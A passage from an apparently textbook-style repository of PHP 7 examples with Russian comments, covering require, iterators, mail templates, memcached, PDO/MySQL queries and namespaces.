12 |   Ваше имя: <input type="text" name="name"><br />
13 |   <input type="submit" name="go" value="Отослать!">
14 |   </form>
15 | <?php endif?>
16 | </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/instruct/require/foot.html:
--------------------------------------------------------------------------------
1 | </pre></b>
2 | &copy;Warner Bros., 1999.
3 | </body></html>
4 | 


--------------------------------------------------------------------------------
/instruct/require/head.html:
--------------------------------------------------------------------------------
1 | <!DOCTYPE html>
2 | <html lang="ru">
3 | <head>
4 |   <title>Демонстрация конструкции require</title>
5 |   <meta charset='utf-8'>
6 | </head>
7 | <body>
8 | <b><pre>


--------------------------------------------------------------------------------
/instruct/require/script.php:
--------------------------------------------------------------------------------
1 | <?php ## Тело скрипта.
2 |   require "head.html";
3 |   print_r($GLOBALS);
4 |   require "foot.html";
5 | ?>
6 | 


--------------------------------------------------------------------------------
/instruct/trouble/aargh.php:
--------------------------------------------------------------------------------
1 | <?php ## Возникает ошибка!
2 |   require "wlib.php";
3 |   require "xllib.php";
4 |   $wd = LoadWDocument("document.doc");
5 |   $xd = LoadXlDocument("document.xls");
6 | ?>


--------------------------------------------------------------------------------
/instruct/trouble/wlib.php:
--------------------------------------------------------------------------------
1 | <?php ## Библиотека для работы с Word.
2 |   require "xllib.php";
3 |   function LoadWDocument($filename) { /* . . . */ }
4 |   function SaveWDocument($filename,$doc) { /* . . . */ }
5 | ?>
6 | 


--------------------------------------------------------------------------------
/instruct/trouble/xllib.php:
--------------------------------------------------------------------------------
1 | <?php ## Библиотека для работы с Excell.
2 |   function LoadXlDocument($filename) { /* . . . */ }
3 |   function SaveXlDocument($filename,$doc) { /* . . . */ }
4 | ?>


--------------------------------------------------------------------------------
/instruct/while.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод всех степеней двойки до 2^31 включительно.
2 |   $i = 1;
3 |   $p = 1;
4 |   while ($i < 32) {
5 |     echo $p, " ";
6 |     $p = $p * 2; // можно было бы написать $p *= 2
7 |     $i = $i + 1; // можно было бы написать $i += 1 или даже $i++
8 |   }
9 | ?>


--------------------------------------------------------------------------------
/iterators/directory.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование класса DirectoryIterator.
2 |   $dir = new DirectoryIterator('.');
3 |   foreach($dir as $file) {
4 |     echo $file."<br />";
5 |   }
6 | ?>
7 | 


--------------------------------------------------------------------------------
/iterators/filter.php:
--------------------------------------------------------------------------------
 1 | <?php ## Вывод за исключением PHP-файлов.
 2 |   require_once("lib/filter.php");
 3 | 
 4 |   $filter = new ExtensionFilter(
 5 |                   new DirectoryIterator('.'),
 6 |                   'php'
 7 |                 );
 8 | 
 9 |   foreach($filter as $file) {
10 |     echo $file."<br />";
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/iterators/iter_fs.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример неявного использования итератора в foreach.
 2 |   require_once "lib/FS.php";
 3 | 
 4 |   // Для примера - открываем директорию, в которой много картинок.
 5 |   $d = new FSDirectory(".");
 6 |   foreach ($d as $path => $entry) {
 7 |     if ($entry instanceof FSFile) {
 8 |       // Если это - файл, а не поддиректория...
 9 |       echo "<tt>$path</tt>: ".$entry->getSize()."<br>";
10 |     }
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/iterators/iter_simple.php:
--------------------------------------------------------------------------------
 1 | <?php ## Стандартное поведение foreach.
 2 |   class Monolog
 3 |   {
 4 |     public    $first  = "It's him.";
 5 |     protected $second = "The Anomaly.";
 6 |     private   $third  = "Do we proceed?";
 7 |     protected $fourth = "Yes.";
 8 |     private   $fifth  = "He is still...";
 9 |     public    $sixth  = "...only human.";
10 |   }
11 |   $monolog = new Monolog();
12 |   foreach ($monolog as $k => $v) {
13 |     echo "$k: $v<br>";
14 |   }
15 | ?>


--------------------------------------------------------------------------------
/iterators/limit.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование класса LimitIterator
 2 |   require_once("lib/filter.php");
 3 | 
 4 |   $limit =  new LimitIterator(
 5 |               new ExtensionFilter(new DirectoryIterator('.'), "php"),
 6 |               0, 5);
 7 | 
 8 |   foreach($limit as $file) {
 9 |     echo $file."<br />";
10 |   }
11 | ?>


--------------------------------------------------------------------------------
/iterators/recursion.php:
--------------------------------------------------------------------------------
 1 | <?php ## Рекурсивный обход каталога при помощи итераторов
 2 |   $dir = new RecursiveIteratorIterator(
 3 |            new RecursiveDirectoryIterator('.'),
 4 |          true);
 5 | 
 6 |   foreach ($dir as $file)
 7 |   {
 8 |     echo str_repeat("-", $dir->getDepth())." $file<br />";
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/iterators/recursion_dir.php:
--------------------------------------------------------------------------------
 1 | <?php ## Рекурсивная функция для вывода содержимого каталога
 2 |   function recursion_dir($path)
 3 |   {
 4 |     static $depth = 0;
 5 | 
 6 |     $dir = opendir($path);
 7 |     while(($file = readdir($dir)) !== false) {
 8 |       if ($file == '.' || $file == '..' ) continue;
 9 |       echo str_repeat("-", $depth)." $file<br />";
10 | 
11 |       if (is_dir("$path/$file")) {
12 |         $depth++;
13 |         recursion_dir("$path/$file");
14 |         $depth--;
15 |       }
16 |     }
17 |     closedir($dir);
18 |   }
19 | 
20 |   recursion_dir('.');
21 | ?>
22 | 


--------------------------------------------------------------------------------
/iterators/size.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование методов класса DirectoryIterator.
 2 |   $dir = new DirectoryIterator('.');
 3 |   foreach($dir as $file) {
 4 |     // Выводим только файлы
 5 |     if ($file->isFile()) {
 6 |       // Имя файла и его размер
 7 |       echo $file." ".$file->getSize()."<br />";
 8 |     }
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/mail/lib/mail_enc.php:
--------------------------------------------------------------------------------
 1 | <?php ## Отправка почты по шаблону (наилучший способ).
 2 |   // Подключаем функции.
 3 |   include_once "lib/mailx.php";
 4 |   include_once "lib/mailenc.php";
 5 |   $text = "Well, now, ain't this a surprise?";
 6 |   $tos = ["Пупкин Василий <poupkinne@mail.ru>, Иванов <b@mail.ru>"];
 7 |   $tpl = file_get_contents("mail.eml");
 8 |   foreach ($tos as $to) {
 9 |     $mail = $tpl;
10 |     $mail = strtr($mail, [
11 |       "{TO}"   => $to,
12 |       "{TEXT}" => $text,
13 |     ]);
14 |     $mail = mailenc($mail);
15 |     mailx($mail);
16 |   }
17 | ?>


--------------------------------------------------------------------------------
/mail/lib/template.php:
--------------------------------------------------------------------------------
 1 | <?php ## Обработка шаблона.
 2 |   // Функция делает то же самое, что инструкция include, однако 
 3 |   // блокирует вывод текста в браузер. Вместо этого текст возвращается
 4 |   // в качестве результата. Функцию можно использовать, например,
 5 |   // для обработки почтовых шаблонов.
 6 |   function template($__fname, $vars)
 7 |   {
 8 |     // Перехватываем выходной поток.
 9 |     ob_start();
10 |       // Запускаем файл как программу на PHP.
11 |       extract($vars, EXTR_OVERWRITE);
12 |       include($__fname);
13 |     // Получаем перехваченный текст.  
14 |     $text = ob_get_contents();
15 |     ob_end_clean();
16 |     return $text;
17 |   }
18 | ?>


--------------------------------------------------------------------------------
/mail/mail.eml:
--------------------------------------------------------------------------------
1 | From: Почтовый робот <somebody@mail.ru>
2 | To: {TO}
3 | Subject: Добрый день!
4 | Content-type: text/plain; charset=utf-8
5 | 
6 | Привет, {TO}!
7 | {TEXT}
8 | Это сообщение сгенерировано роботом - не отвечайте на него.


--------------------------------------------------------------------------------
/mail/mail.php.eml:
--------------------------------------------------------------------------------
 1 | From: Почтовый робот <somebody@mail.ru>
 2 | To: <?= $to ?> 
 3 | Subject: Добрый день!
 4 | Content-type: text/plain; charset=utf-8
 5 | 
 6 | Привет, <?= $to ?>!
 7 | <?= $text ?> 
 8 | Содержимое переменных окружения на момент отправки письма:
 9 | <?php print_r($_SERVER) ?>
10 | Это сообщение сгенерировано роботом - не отвечайте на него.


--------------------------------------------------------------------------------
/mail/mail_php.php:
--------------------------------------------------------------------------------
 1 | <?php ## Отправка почты с использованием активного шаблона.
 2 |   // Подключаем функции.
 3 |   include_once "lib/mailx.php";
 4 |   include_once "lib/mailenc.php";
 5 |   include_once "lib/template.php";
 6 |   $text = "Well, now, ain't this a surprise?";
 7 |   $tos = ["Пупкин Василий <poupkinne@mail.ru>"];
 8 |   $a = 1;
 9 |   foreach ($tos as $to) {
10 |     // "Разворачиваем" шаблон, передавая ему $to и $text.
11 |     $mail = template("mail.php.eml", [
12 |       "to"   => $to,
13 |       "text" => $text,
14 |     ]);
15 |     // Дальше как обычно: кодируем и отправляем.
16 |     $mail = mailenc($mail);
17 |     mailx($mail);
18 |   }
19 | ?>


--------------------------------------------------------------------------------
/mail/s_20040815135808.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/mail/s_20040815135808.jpg


--------------------------------------------------------------------------------
/mail/s_20040815135939.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/mail/s_20040815135939.JPG


--------------------------------------------------------------------------------
/math/mt_srand.php:
--------------------------------------------------------------------------------
1 | <?php ## Последовательности случайных чисел.
2 |   mt_srand(123);
3 |   for ($i = 0; $i < 5; $i++) echo mt_rand()." ";
4 |   echo "<br />";
5 |   mt_srand(123);
6 |   for ($i = 0; $i < 5; $i++) echo mt_rand()." ";
7 | ?>


--------------------------------------------------------------------------------
/math/nan.php:
--------------------------------------------------------------------------------
1 | <?php
2 |   $a = 0;
3 |   echo var_dump(1/0);
4 | ?>


--------------------------------------------------------------------------------
/math/randline.php:
--------------------------------------------------------------------------------
1 | <?php ## Извлечение строки со случайным номером.
2 |   echo random_bytes(20);
3 |   $ourFile = fopen("largetextfile.txt", "r");
4 |   // Прочитываем каждую строку файла.
5 |   for ($i = 0; $s = fgets($ourFile, 10000); $i++) {
6 |     if (mt_rand(0, $i) == 0) $line = $s;
7 |   }
8 |   echo $line;
9 | ?>


--------------------------------------------------------------------------------
/memcached/add.php:
--------------------------------------------------------------------------------
1 | <?php ## Добавление значения в memcached
2 |   require_once("connect.php");
3 | 
4 |   if($m->add("key", "value")){
5 |     echo "Значение успешно установлено: ". $m->get("key");
6 |   }
7 | ?>


--------------------------------------------------------------------------------
/memcached/connect.php:
--------------------------------------------------------------------------------
1 | <?php ## Соединение с memcached
2 |   $m = new Memcached();
3 |   $m->addServer('localhost', 11211);
4 | ?>


--------------------------------------------------------------------------------
/memcached/connect_multi.php:
--------------------------------------------------------------------------------
1 | <?php ## Соединение с memcached
2 |   $m = new Memcached();
3 |   $m->addServers([
4 |     ['localhost', 11211, 10],
5 |     ['localhost', 11212, 10],
6 |     ]);
7 | ?>


--------------------------------------------------------------------------------
/memcached/delete_by_key.php:
--------------------------------------------------------------------------------
 1 | <?php ## Удаление ключей из нескольких серверов
 2 |   require_once("connect_multi.php");
 3 | 
 4 |   $arr = ["first", "second", "third", "fourth", "fifth",
 5 |           "sixth", "seventh", "eighth", "ninth", "tenth"];
 6 | 
 7 |   // Подготавливаем массив серверов
 8 |   $keys = [];
 9 |   foreach($m->getServerList() as $server) {
10 |     $keys["{$server['host']}:{$server['port']}"] = [];
11 |   }
12 |   // Распределяем ключи по их серверам
13 |   foreach($arr as $key) {
14 |     $server = $m->getServerByKey($key);
15 |     $keys["{$server['host']}:{$server['port']}"][] = $key;
16 |   }
17 |   // Удаляем группы ключей с их сервера
18 |   foreach($keys as $server => $group) {
19 |     $m->deleteMultiByKey($group[0], $group);
20 |   }
21 | ?>


--------------------------------------------------------------------------------
/memcached/error.php:
--------------------------------------------------------------------------------
1 | <?php ## Обработка ошибок выполнения запросов
2 |   require_once("connect.php");
3 | 
4 |   if(!$m->add("key", "value")) echo $m->getResultMessage()."<br />";
5 |   if(!$m->add("key", "value")) echo $m->getResultMessage()."<br />"; // NOT STORED
6 | ?>


--------------------------------------------------------------------------------
/memcached/error_code.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование метода getResultCode()
 2 |   require_once("connect.php");
 3 | 
 4 |   if (!($key = $m->get('key'))) {
 5 |     if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
 6 |       $key = 'value';
 7 |       $m->add('key', $key);
 8 |     }
 9 |   }
10 |   echo $key;
11 | ?>


--------------------------------------------------------------------------------
/memcached/fetch.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлечение сразу нескольких значений
 2 |   require_once("connect.php");
 3 | 
 4 |   $values = [
 5 |     "key1" => "value1",
 6 |     "key2" => "value2",
 7 |     "key3" => "value3"
 8 |   ];
 9 | 
10 |   // Установка значений
11 |   $m->setMulti($values);
12 |   // Извлечение значений
13 |   $m->getDelayed(array_keys($values));
14 |   while ($result = $m->fetch()) {
15 |     echo $result['value']."<br />";
16 |   }
17 | ?>


--------------------------------------------------------------------------------
/memcached/get_by_key.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлечение ключей из нескольких серверов
 2 |   require_once("connect_multi.php");
 3 | 
 4 |   $arr = ["first", "second", "third", "fourth", "fifth",
 5 |           "sixth", "seventh", "eighth", "ninth", "tenth"];
 6 | 
 7 |   // Извлекаем значения с их серверов
 8 |   foreach($arr as $key) {
 9 |     echo $m->getByKey($key, $key)."<br />";
10 |   }
11 | ?>


--------------------------------------------------------------------------------
/memcached/get_multi.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлечение сразу нескольких значений
 2 |   require_once("connect.php");
 3 | 
 4 |   $values = [
 5 |     "key1" => "value1",
 6 |     "key2" => "value2",
 7 |     "key3" => "value3"
 8 |   ];
 9 | 
10 |   // Установка значений
11 |   $m->setMulti($values);
12 |   // Извлечение значений
13 |   $results = $m->getMulti(array_keys($values));
14 |   echo "<pre>";
15 |   print_r($results);
16 |   echo "</pre>";
17 | ?>


--------------------------------------------------------------------------------
/memcached/groups.php:
--------------------------------------------------------------------------------
 1 | <?php ## Группировка ключей
 2 |   require_once("connect_multi.php");
 3 | 
 4 |   $arr = ["first", "second", "third", "fourth", "fifth",
 5 |           "sixth", "seventh", "eighth", "ninth", "tenth"];
 6 | 
 7 |   // Подготавливаем массив серверов
 8 |   $keys = [];
 9 |   foreach($m->getServerList() as $server) {
10 |     $keys["{$server['host']}:{$server['port']}"] = [];
11 |   }
12 |   // Распределяем ключи по их серверам
13 |   foreach($arr as $key) {
14 |     $server = $m->getServerByKey($key);
15 |     $keys["{$server['host']}:{$server['port']}"][] = $key;
16 |   }
17 |   echo "<pre>";
18 |   print_r($keys);
19 |   echo "</pre>";
20 | ?>


--------------------------------------------------------------------------------
/memcached/increment.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование метода increment()
2 |   require_once("connect.php");
3 | 
4 |   // Включаем режим бинарного протокола
5 |   $m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
6 | 
7 |   echo $m->increment("number", 1, 0);
8 | ?>


--------------------------------------------------------------------------------
/memcached/server_by_key.php:
--------------------------------------------------------------------------------
 1 | <?php ## Какие сервера выбраны для каждого ключа?
 2 |   require_once("connect_multi.php");
 3 | 
 4 |   $arr = ["first", "second", "third", "fourth", "fifth",
 5 |           "sixth", "seventh", "eighth", "ninth", "tenth"];
 6 |   // Определяем местоположение ключа
 7 |   foreach($arr as $key) {
 8 |     $server = $m->getServerByKey($key);
 9 |     echo "$key => {$server['host']}:{$server['port']}<br />";
10 |   }
11 | ?>


--------------------------------------------------------------------------------
/memcached/set.php:
--------------------------------------------------------------------------------
1 | <?php ## Переустановка значений методом set()
2 |   require_once("connect.php");
3 | 
4 |   if(!$m->set("key", "value1")) echo $m->getResultMessage()."<br />";
5 |   if(!$m->set("key", "value2")) echo $m->getResultMessage()."<br />";
6 |   echo $m->get("key"); // value2
7 | ?>


--------------------------------------------------------------------------------
/memcached/set_by_key.php:
--------------------------------------------------------------------------------
 1 | <?php ## Установка значений методом setByKey()
 2 |   require_once("connect_multi.php");
 3 | 
 4 |   $arr = ["first", "second", "third", "fourth", "fifth",
 5 |           "sixth", "seventh", "eighth", "ninth", "tenth"];
 6 |   // Размещаем значение на одном из двух сереверов
 7 |   foreach($arr as $value) {
 8 |     if($m->setByKey($value, $value, $value)) {
 9 |       echo "Успешно размещено на сервере $value<br />";
10 |     }
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/memcached/set_multi.php:
--------------------------------------------------------------------------------
 1 | <?php ## Установка сразу нескольких значений
 2 |   require_once("connect.php");
 3 | 
 4 |   $values = [
 5 |     "key1" => "value1",
 6 |     "key2" => "value2",
 7 |     "key3" => "value3"
 8 |   ];
 9 | 
10 |   // Установка значений
11 |   $m->setMulti($values);
12 |   // Извлечение значений
13 |   foreach(array_keys($values) as $key)
14 |     echo $m->get($key)."<br />"
15 | ?>


--------------------------------------------------------------------------------
/mysql/.my.cnf:
--------------------------------------------------------------------------------
1 | [client]
2 | user                    = root
3 | password                = password
4 | max_allowed_packet      = 16M


--------------------------------------------------------------------------------
/mysql/authors.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE authors (
 2 |    id INT(11) NOT NULL AUTO_INCREMENT,
 3 |    name TINYTEXT,
 4 |    passw TINYTEXT,
 5 |    email TINYTEXT,
 6 |    url TEXT,
 7 |    iсq TINYTEXT,
 8 |    about TEXT,
 9 |    photo TINYTEXT,
10 |    putdate DATETIME DEFAULT NULL,
11 |    last_time DATETIME DEFAULT NULL,
12 |    themes INT(10) DEFAULT NULL,
13 |    statususer ENUM('user','moderator','admin') NOT NULL default 'user',
14 |    PRIMARY KEY (id)
15 | );


--------------------------------------------------------------------------------
/mysql/auto.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE tbl (
2 |   id INT(11) NOT NULL AUTO_INCREMENT,
3 |   name TINYTEXT NOT NULL,
4 |   PRIMARY KEY (id)
5 | );
6 | INSERT INTO tbl VALUES (NULL, 'Процессоры');
7 | INSERT INTO tbl VALUES (NULL, 'Материнские платы');
8 | INSERT INTO tbl VALUES (NULL, 'Видеоадаптеры');
9 | SELECT * FROM tbl;


--------------------------------------------------------------------------------
/mysql/catalogs.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE catalogs (
2 |   catalog_id INT(11) NOT NULL,
3 |   name TINYTEXT NOT NULL
4 | );


--------------------------------------------------------------------------------
/mysql/connect.php:
--------------------------------------------------------------------------------
 1 | <?php ## Обработка ошибки соединения с базой данных
 2 |   try {
 3 |     $pdo = new PDO(
 4 |       'mysql:host=localhost;dbname=test',
 5 |       'root',
 6 |       '',
 7 |       [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
 8 |   }
 9 |   catch (PDOException $e) {
10 |     echo "Невозможно установить соединение с базой данных";
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/mysql/connect_db.php:
--------------------------------------------------------------------------------
1 | <?php ## Соединение с базой данных
2 |   try {
3 |     $pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
4 |   }
5 |   catch (PDOException $e) {
6 |     echo "Невозможно установить соединение с базой данных";
7 |   }
8 | ?>


--------------------------------------------------------------------------------
/mysql/errors.php:
--------------------------------------------------------------------------------
 1 | <?php ## Ошибочный запрос
 2 |   //require_once("connect_db.php");
 3 |   require_once("connect.php");
 4 | 
 5 |   try {
 6 |     $query = "SELECT VERSION1() AS version";
 7 |     $ver = $pdo->query($query);
 8 |     echo $ver->fetch()['version'];
 9 |   } catch (PDOException $e) {
10 |     echo "Ошибка выполнения запроса: " . $e->getMessage();
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/mysql/exec.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование метода PDO::exec()
 2 |   require_once('connect_db.php');
 3 | 
 4 |   // Формируем и выполняем SQL-запрос
 5 |   $query = "CREATE TABLE catalogs (
 6 |              id_catalog INT(11) NOT NULL AUTO_INCREMENT,
 7 |              name TINYTEXT NOT NULL,
 8 |              PRIMARY KEY (id_catalog))";
 9 |   $count = $pdo->exec($query);
10 |   if ($count !== false)
11 |     echo "Таблица создана успешно";
12 |   else {
13 |     echo "Не удалось создать таблицу";
14 |     echo "<pre>";
15 |     print_r($pdo->errorInfo());
16 |     echo "<pre>";
17 |   }
18 | ?>


--------------------------------------------------------------------------------
/mysql/fetch.php:
--------------------------------------------------------------------------------
 1 | <?php ## Вывод содержимого таблицы catalogs
 2 |   require_once("connect.php");
 3 | 
 4 |   $query = "SELECT * FROM catalogs";
 5 |   $cat = $pdo->query($query);
 6 | 
 7 |   try {
 8 |     while($catalog = $cat->fetch())
 9 |       echo $catalog['name']."<br />";
10 |   } catch (PDOException $e) {
11 |     echo "Ошибка выполнения запроса: " . $e->getMessage();
12 |   }
13 | ?>


--------------------------------------------------------------------------------
/mysql/fetch_all.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование метода fetchAll
 2 |   require_once("connect.php");
 3 | 
 4 |   try {
 5 |     $query = "SELECT * FROM catalogs";
 6 |     $cat = $pdo->query($query);
 7 |   
 8 |     $catalogs = $cat->fetchAll();
 9 |     foreach($catalogs as $catalog)
10 |       echo $catalog['name']."<br />";
11 |   } catch (PDOException $e) {
12 |     echo "Ошибка выполнения запроса: " . $e->getMessage();
13 |   }
14 | ?>


--------------------------------------------------------------------------------
/mysql/forums.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE forums (
2 |   id INT(11) NOT NULL AUTO_INCREMENT,
3 |   name TINYTEXT,
4 |   rule TEXT,
5 |   logo TINYTEXT,
6 |   pos INT(11) DEFAULT NULL,
7 |   hide ENUM('show','hide') NOT NULL DEFAULT 'show',
8 |   PRIMARY KEY (id)
9 | );


--------------------------------------------------------------------------------
/mysql/multi_insert.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE catalogs (
 2 |   catalog_id INT(11) NOT NULL AUTO_INCREMENT,
 3 |   name TINYTEXT NOT NULL,
 4 |   PRIMARY KEY (catalog_id)
 5 | );
 6 | INSERT INTO catalogs VALUES (NULL, 'Процессоры'),
 7 | (NULL, 'Материнские платы'),
 8 | (NULL, 'Видеоадаптеры'),
 9 | (NULL, 'Жесткие диски'),
10 | (NULL, 'Оперативная память');


--------------------------------------------------------------------------------
/mysql/news.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Добавление новости</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <table>
 9 |   <form action='addnews.php' method='POST'>
10 |     <tr>
11 |       <td>Название:</td>
12 |       <td><input type='text' name='name'></td>
13 |     </tr>
14 |     <tr>
15 |       <td>Содержимое:</td>
16 |       <td><textarea name='content' rows='10' cols='40'></textarea></td>
17 |     </tr>
18 |     <tr>
19 |       <td></td>
20 |       <td><input type='submit' value='Добавить'></td>
21 |     </tr>
22 |   </form>
23 |   </table>
24 | </body>
25 | </html>


--------------------------------------------------------------------------------
/mysql/news.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE news (
 2 |   news_id INT(11) NOT NULL AUTO_INCREMENT,
 3 |   name TINYTEXT NOT NULL,
 4 |   putdate DATETIME NOT NULL,
 5 |   PRIMARY KEY (news_id)
 6 | );
 7 | CREATE TABLE news_contents (
 8 |   content_id INT(11) NOT NULL AUTO_INCREMENT,
 9 |   content TEXT NOT NULL,
10 |   news_id INT(11) NOT NULL,
11 |   PRIMARY KEY (content_id)
12 | );
13 | 


--------------------------------------------------------------------------------
/mysql/posts.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE posts (
 2 |   id INT(11) NOT NULL AUTO_INCREMENT,
 3 |   name TINYTEXT,
 4 |   url TEXT,
 5 |   file TINYTEXT,
 6 |   author TINYTEXT,
 7 |   author_id INT(11) DEFAULT NULL,
 8 |   hide ENUM('show','hide') NOT NULL DEFAULT 'show',
 9 |   putdate DATETIME DEFAULT NULL,
10 |   parent_post INT(11) DEFAULT NULL,
11 |   theme_id INT(11) DEFAULT NULL,
12 |   PRIMARY KEY (id)
13 | );


--------------------------------------------------------------------------------
/mysql/prepare.php:
--------------------------------------------------------------------------------
 1 | <?php ## Параметризованный запрос
 2 |   require_once("connect.php");
 3 | 
 4 |   try {
 5 |     $query = "SELECT * 
 6 |               FROM catalogs
 7 |               WHERE catalog_id = :catalog_id";
 8 |     $cat = $pdo->prepare($query);
 9 |     $cat->execute(['catalog_id' => 1]);
10 |     echo $cat->fetch()['name']; // Процессоры
11 |   } catch (PDOException $e) {
12 |     echo "Ошибка выполнения запроса: " . $e->getMessage();
13 |   }
14 | ?>


--------------------------------------------------------------------------------
/mysql/pri.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE tbl (
2 |   id INT(11) NOT NULL,
3 |   name TINYTEXT NOT NULL,
4 |   PRIMARY KEY (id)
5 | );
6 | INSERT INTO tbl VALUES (1, 'Видеоадаптеры');
7 | INSERT INTO tbl VALUES (1, 'Видеоадаптеры');


--------------------------------------------------------------------------------
/mysql/tbl.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE tbl (
2 |   id INT(11) NOT NULL DEFAULT '5',
3 |   id_cat INT(11) DEFAULT NULL
4 | );


--------------------------------------------------------------------------------
/mysql/tbl_insert.sql:
--------------------------------------------------------------------------------
1 | INSERT INTO tbl VALUES (10, 20);
2 | INSERT INTO tbl (id_cat, id) VALUES (10, 20);
3 | INSERT INTO tbl (id) VALUES (30);
4 | INSERT INTO tbl () VALUES ();


--------------------------------------------------------------------------------
/mysql/tbl_order.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE tbl (
 2 |   id_catalog int(11) NOT NULL,
 3 |   putdate datetime NOT NULL
 4 | );
 5 | INSERT INTO tbl VALUES (5, '2016-01-04 05:01:58');
 6 | INSERT INTO tbl VALUES (3, '2016-01-03 12:10:45');
 7 | INSERT INTO tbl VALUES (4, '2016-01-10 16:10:25');
 8 | INSERT INTO tbl VALUES (1, '2016-12-20 08:34:09');
 9 | INSERT INTO tbl VALUES (2, '2016-01-06 20:57:42');
10 | INSERT INTO tbl VALUES (2, '2016-12-24 18:42:41');
11 | INSERT INTO tbl VALUES (5, '2016-12-25 09:35:01');
12 | INSERT INTO tbl VALUES (1, '2016-12-23 15:14:26');
13 | INSERT INTO tbl VALUES (4, '2016-12-26 21:32:00');
14 | INSERT INTO tbl VALUES (3, '2016-12-25 12:11:10');


--------------------------------------------------------------------------------
/mysql/themes.sql:
--------------------------------------------------------------------------------
 1 | CREATE TABLE themes (
 2 |   id INT(11) NOT NULL AUTO_INCREMENT,
 3 |   name TINYTEXT,
 4 |   author TINYTEXT,
 5 |   id_author INT(11) DEFAULT NULL,
 6 |   hide ENUM('show','hide') NOT NULL DEFAULT 'show',
 7 |   putdate DATETIME DEFAULT NULL,
 8 |   forum_id INT(11) default NULL,
 9 |   PRIMARY KEY (id)
10 | );


--------------------------------------------------------------------------------
/mysql/version.php:
--------------------------------------------------------------------------------
 1 | <?php ## Извлечение текущей версии
 2 |   require_once('connect_db.php');
 3 | 
 4 |   // Выполняем запрос
 5 |   $query = "SELECT VERSION() AS version";
 6 |   $ver = $pdo->query($query);
 7 |   // Извлекаем результат
 8 |   $version = $ver->fetch();
 9 |   echo $version['version']; // 5.5.46-0ubuntu0.14.04.2
10 | ?>


--------------------------------------------------------------------------------
/namespace/PHP7/Page.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   namespace PHP7;
 3 |   use \PHP7\Seo as Seo;
 4 |   use \PHP7\Tag as Tag;
 5 | 
 6 |   // Класс страницы
 7 |   class Page
 8 |   {
 9 |     // Подключаем трейты
10 |     use Seo, Tag;
11 | 
12 |     // заголовок
13 |     protected $title;
14 |     // содержимое
15 |     protected $content;
16 |     // Конструктор класса
17 |     public function __construct($title = '', $content = '')
18 |     {
19 |       $this->title = $title;
20 |       $this->content = $content;
21 |     }
22 |   }
23 | ?>


--------------------------------------------------------------------------------
/namespace/PHP7/Seo.php:
--------------------------------------------------------------------------------
 1 | <?php ## Трейт Seo.
 2 |   namespace PHP7;
 3 | 
 4 |   trait Seo
 5 |   {
 6 |     private $keyword;
 7 |     private $description;
 8 |     private $ogs;
 9 |     public function keywords()
10 |     {
11 |       // $query = "SELECT keywords FROM seo WHERE id = :id LIMIT 1"
12 |       echo "Seo::keywords<br />";
13 |     }
14 |     public function description()
15 |     {
16 |       // $query = "SELECT description FROM seo WHERE id = :id LIMIT 1"
17 |       echo "Seo::description<br />";
18 |     }
19 |     public function ogs()
20 |     {
21 |       // $query = "SELECT ogs FROM seo WHERE id = :id LIMIT 1"
22 |       echo "Seo::ogs<br />";
23 |     }
24 |   }
25 | ?>


--------------------------------------------------------------------------------
/namespace/PHP7/Tag.php:
--------------------------------------------------------------------------------
 1 | <?php ## Трейт Tag.
 2 |   namespace PHP7;
 3 | 
 4 |   trait Tag
 5 |   {
 6 |     public function tags()
 7 |     {
 8 |       // $query = "SELECT * FROM authors WHERE id IN(:ids)"
 9 |       echo "Tag::tags<br />";
10 |     }
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/namespace/absolute.php:
--------------------------------------------------------------------------------
 1 | <?php ## Доступ к глобальному пространству имен
 2 |   namespace PHP7;
 3 | 
 4 |   function strlen($str)
 5 |   {
 6 |     return count(str_split($str));
 7 |   }
 8 |   // Или даже так
 9 |   // function strlen($str) {
10 |   //   return \strlen($str);
11 |   // }
12 | 
13 |   // Это PHP7\strlen
14 |   echo strlen("Hello world!")."<br />";
15 |   // Это стандартная функция strlen()
16 |   echo \strlen("Hello world!")."<br />";
17 | ?>


--------------------------------------------------------------------------------
/namespace/anonim.php:
--------------------------------------------------------------------------------
1 | <?php  ## Использование анонимной функции.
2 |   spl_autoload_register(function($classname) {
3 |     require_once(__DIR__ . "/$classname.php");
4 |   });
5 |   // Использование классов
